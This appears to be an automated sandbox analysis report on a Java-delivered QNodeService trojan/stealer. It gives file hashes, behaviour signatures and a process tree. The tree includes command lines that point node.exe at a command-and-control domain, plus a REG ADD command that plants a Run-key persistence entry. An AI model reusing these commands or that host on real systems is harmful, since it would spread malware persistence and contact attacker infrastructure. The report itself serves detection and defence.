Analysis

  • max time kernel
    36s
  • max time network
    129s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    28-10-2020 13:31

General

  • Target

    49331c9f6559832d639324a3ad70ab151d30bd712ff78f8a9cdf3e731f5dcf77.jar

  • Size

    72KB

  • MD5

    887b166acc924514a275abbdb1676014

  • SHA1

    b43f7a56b97b635c72628bdde9be1cbc7b5ebd20

  • SHA256

    49331c9f6559832d639324a3ad70ab151d30bd712ff78f8a9cdf3e731f5dcf77

  • SHA512

    8f796e0f3e482afe0d591e4657b640ec715d536c1c71fff9430b9f240490a79bc81cba1521462f23abef76e0a793f7e3e9eca9053fc06b7c8163d54422d61dd3

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\49331c9f6559832d639324a3ad70ab151d30bd712ff78f8a9cdf3e731f5dcf77.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4008
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\7b18299c.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3476
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2812
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_l0NHmE\boot.js --hub-domain severdops.ddns.net
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3472
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_l0NHmE\boot.js --hub-domain severdops.ddns.net
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4048
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "b8996729-2400-478f-ac92-89eabab292a0" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2076
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "b8996729-2400-478f-ac92-89eabab292a0" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:2080

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/2812-170-0x0000029C7A340000-0x0000029C7A341000-memory.dmp

    Filesize

    4KB

  • memory/3472-173-0x00000200822C0000-0x00000200822C1000-memory.dmp

    Filesize

    4KB

  • memory/4048-177-0x0000035475740000-0x0000035475741000-memory.dmp

    Filesize

    4KB